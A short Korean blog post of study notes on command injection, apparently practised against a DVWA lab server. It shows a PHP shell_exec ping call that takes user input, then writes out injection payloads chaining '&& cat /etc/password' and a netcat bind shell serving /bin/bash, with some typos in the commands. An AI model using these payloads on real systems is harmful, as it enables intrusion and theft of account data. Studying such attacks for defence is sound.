도유니의 블로그
article thumbnail
Published 2023. 7. 14. 17:18
command Injection Web hacking/웹 해킹기법

command Injection

--------------------                               >>  명령어

                         ------------------        >> 주입 / 삽입

 

명령어가 전달될 때 해커가 원하는 명령어를 삽입하는 공격

 

실제 싱행되는 명령어

 

$cmd = shell_exec( 'ping   -c 4 '   . $target   );

                                                        ---------    : input 창에 입력한 IP 주소다.

 

ping -c 8.8.8.8  <--- 실행후 결과 값을 반환 한다.

 

 

 

리눅스 업데이트

yum - y update

yum - y upgrade

 

yum - y update && yum - y upgrade

 

단, 실행순서 1번이 정상 동작 했을때 실행 순서 2번도 동작한다.

 

ping -c 8.8.8.8 && ls

 

 

추가 명령어 cat /etc/password

 

ping -c 8.8.8.8 && cat /etc/password

서버의 계정정보를 유출 시켰다.

 

dvwa.xxx.com <--- 피해서버

 

nc -lvp 8888 -e /bin/bash         : Netcat server 설정 (원격제어의 대상)

 

공격자    < ----------공격자 컴퓨터 : 명령 전달 서버 : C&C 서버

 

nc dvwa.kong.com 8888             : Netcat Client 설정

 

 

※ 로그분석 ---> 시그니처를 따서  스노트에 등록

profile

도유니의 블로그

@Dokker

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!

검색 태그